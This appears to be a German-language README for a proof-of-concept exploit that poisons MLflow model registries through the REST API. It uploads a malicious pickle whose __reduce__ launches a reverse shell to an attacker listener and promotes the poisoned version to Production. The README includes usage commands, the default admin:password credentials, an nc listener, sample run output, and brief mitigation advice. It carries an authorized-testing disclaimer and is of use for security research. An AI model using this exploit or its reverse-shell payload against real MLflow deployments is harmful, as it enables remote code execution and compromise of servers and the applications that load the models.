
Proof-of-Concept, das über die REST-API registrierte MLflow-Modelle vergiftet und ein bösartiges Pickle einbettet, um beim Laden des Modells RCE auszulösen.
Generischer Proof-of-Concept für Pickle-Deserialisierungs-RCE gegen MLflow Model-Registries (im Stil von CVE-2024-37054). Kommuniziert ausschließlich mit der MLflow-REST- API — keine Annahmen über eine bestimmte Client-Anwendung davor.
⚠️ Nur für autorisierte Sicherheitstests. Führe dies nur gegen Systeme aus, die dir gehören oder für die du ausdrücklich autorisiert bist (CTF-/Laborumgebungen, Engagements mit unterzeichnetem Scope usw.). Unautorisierter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal.
MLflows pyfunc-Flavor lädt ein registriertes Modell durch Unpickling eines
model.pkl-Artefakts, wann immer mlflow.pyfunc.load_model() aufgerufen wird —
sei es direkt über die MLflow-UI/API oder
indirekt durch eine Client-Anwendung, die Inferenz gegen ein
registriertes Modell ausführt.
Pythons pickle-Modul kann während der
Deserialisierung beliebigen Code über die __reduce__-Methode eines Objekts ausführen. Wenn ein Angreifer
genügend Zugriff auf die MLflow-API hat, um:
...kann er ein bösartiges Pickle als model.pkl einschmuggeln. Beim nächsten Mal, wenn
etwas diese Modellversion lädt, wird der Code des Angreifers im
Kontext des ladenden Prozesses ausgeführt (der MLflow-Server selbst oder
eine Client-App, die MLflow einbettet).
Dies ist derselbe zugrunde liegende Primitive, der hinter mehreren MLflow-CVEs steht,
darunter CVE-2023-6015, CVE-2023-6018 und CVE-2024-37054. Er ist
besonders gefährlich, weil MLflow-Instanzen häufig mit
keiner Authentifizierung oder mit wohlbekannten Standard-Anmeldedaten
(admin:password) bereitgestellt werden.
Rein API-gesteuert, in dieser Reihenfolge:
--model-name Zugriff hast).model.pkl — ein Pickle, dessen __reduce__ os.system() aufruft, um
eine Reverse Shell zu starten.MLmodel — das Manifest, das einen python_function /
sklearn-Flavor deklariert, der auf diesem Pickle basiert.Production), da viele Client-Apps nur jemals die
Production-gestagte Version eines Modells laden.Es entdeckt oder triggert nicht das tatsächliche Laden des Modells — dieser Teil ist für jede Bereitstellung anders:
mlflow.pyfunc.load_model() hinter irgendeinem Endpunkt auf (eine /predict-
Route, ein geplanter Batch-Job usw.).Du musst:
--model-name selbst herausfinden — aus der MLflow-UI, der
MLflow-API (/api/2.0/mlflow/registered-models/search) oder was auch immer
eine Client-Anwendung zurückgibt, wenn sie ein Modell in deinem
Namen registriert.pip install requests --break-system-packages
Python 3.8+. Keine weiteren Abhängigkeiten.
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
Starte einen Listener vor oder nach der Ausführung:
nc -lvnp 4444
Triggere dann das Laden, wie auch immer die Zielanwendung es tut (ihr eigener Inferenz-Endpunkt, ein Batch-Job, manuelles Laden des Modells aus der MLflow-UI usw.).
| Flag | Standard | Beschreibung |
|---|---|---|
--mlflow | (erforderlich) | MLflow-Basis-URL |
--model-name | zufällig | Name des registrierten Modells, das vergiftet werden soll; wird erstellt, falls nicht vorhanden |
--lhost | (erforderlich) | Deine Listener-IP |
--lport | 4444 | Dein Listener-Port |
--username | admin | MLflow-Basic-Auth-Benutzername |
--password | password | MLflow-Basic-Auth-Passwort |
--experiment-id | 0 | Experiment-ID, unter der der Run erstellt wird |
--stage | Production | Stage, in die die bösartige Version befördert werden soll, oder none, um den Übergang zu überspringen |
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password) bestehen.pickle angewiesen sind (z. B. ONNX
oder Flavors mit sichererer Serialisierung), oder validiere/sandboxe das Laden von
Modellen.registered-models/create-,
model-versions/create- und transition-stage-Aufrufe in MLflows
Audit-/Zugriffsprotokollen, insbesondere von Konten, die keine
Modelle nach Production veröffentlichen sollten.load_model() aufruft), damit ein Codeausführungs-
Primitive dort keinen direkten Pfad zu sensiblen internen
Systemen hat.MIT — siehe LICENSE.